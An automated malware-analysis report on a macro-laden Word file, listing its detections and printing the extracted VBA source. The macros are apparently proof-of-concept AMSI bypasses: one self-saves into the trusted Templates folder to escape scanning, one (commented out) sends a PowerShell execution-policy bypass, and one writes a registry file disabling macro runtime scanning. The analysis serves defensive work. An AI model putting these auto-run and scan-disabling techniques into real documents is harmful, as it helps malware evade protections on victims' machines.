Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6231d1aa6109ef3f…

MALICIOUS

Office (OOXML)

21.1 KB Created: 2021-06-03 11:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: b2934d5ef0b612740ad10484c711e810 SHA-1: a29572df8f07ccafeb13f7a13301d8c4ad4128c7 SHA-256: 6231d1aa6109ef3fb1ea98a151a01109d6913db4546a5400234f9987bd108dcd
334 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059.001 PowerShell T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro saves the document as a template in the user's AppData\Microsoft\Templates directory and then creates a new document from this template. The autonew macro then executes mspaint.exe, likely as a precursor to downloading and executing a second-stage payload. The presence of PowerShell references and the ClamAV detection further support its malicious nature.

Heuristics 10

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        ' this function is called from a trusted location, not in the AMSI logs
    Shell "mspaint.exe"
End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        'Application.Wait (Now() + TimeValue("00:00:01"))
    'Application.SendKeys "powershell.exe -ep bypass read-host ""malicious"" ~"
'End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    'function called by the initial 'dropper' code, drops a dotm into %appdata\microsoft templates
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub document_open()
    FilePath = ActiveDocument.Path & "\"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    'Private Sub Workbook_Open()
    'On Error Resume Next
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        curfile = ActiveDocument.Path & "\" & ActiveDocument.Name
    templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://outflank.nl/blog/ In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3388 bytes
SHA-256: ba6ff1715130919b381f25f83377a2f7f8d54f7a729e8e2443305671c9111814
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
'##################################################################################
' Code samples for AMSI bypass techniques
' relating to the blogpost on AMSI bypasses on https://outflank.nl/blog/
'##################################################################################



' ##################################################################################
' AMSI Bypass approach that abuses trusted locations (sample for Word)
' ##################################################################################

Sub AutoOpen()
    'function called by the initial 'dropper' code, drops a dotm into %appdata\microsoft templates
    curfile = ActiveDocument.Path & "\" & ActiveDocument.Name
    templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"

    ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True

    ' save back to orig location, otherwise AMSI will kcik in (as we are the template)
    ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled

    ' now create a new file based on template
    Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0
End Sub

Sub autonew()
    ' this function is called from a trusted location, not in the AMSI logs
    Shell "mspaint.exe"
End Sub


' ##################################################################################
' AMSI Bypass approach that abuses Excel sendkeys to fireup the startmennu
' ##################################################################################

'Private Sub Workbook_Open()
    'On Error Resume Next
   'Application.SendKeys "^{esc}"
    'Application.Wait (Now() + TimeValue("00:00:01"))
    'Application.SendKeys "powershell.exe -ep bypass read-host ""malicious"" ~"
'End Sub

' ##################################################################################
' AMSI Bypass in Word that saves a reg and bat file to disable AMSI.
' Adjust macro to 'saveas' in a startup or so
' ##################################################################################

Sub document_open()
    FilePath = ActiveDocument.Path & "\"


    ' set contents and save as reg file
    Documents.Add
    ActiveDocument.Range.Text = _
        "Windows Registry Editor Version 5.00" & vbNewLine & vbNewLine & _
         "[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\security]" & vbNewLine & _
         """MacroRuntimeScanScope""=dword:00000000" & vbNewLine & vbNewLine
  
    ActiveDocument.SaveAs2 FileName:=FilePath & "generatedByWord.reg", LineEnding:=wdCRLF, FileFormat:=wdFormatText, Encoding:=437
    ActiveDocument.Close
  
    ' set contents and save as bat file
    Documents.Add
    ActiveDocument.Range.Text = "regedit.exe /S generatedByWord.reg"
      
    ActiveDocument.SaveAs2 FileName:=FilePath & "generatedByWord.bat", FileFormat:=wdFormatText, Encoding:=437, LineEnding:=wdCRLF
    ActiveDocument.Close
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: 58f3f6e92bf055a50492142e62d5d65d8038e8a8262e916f7d9c12c8a22ff55e
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely

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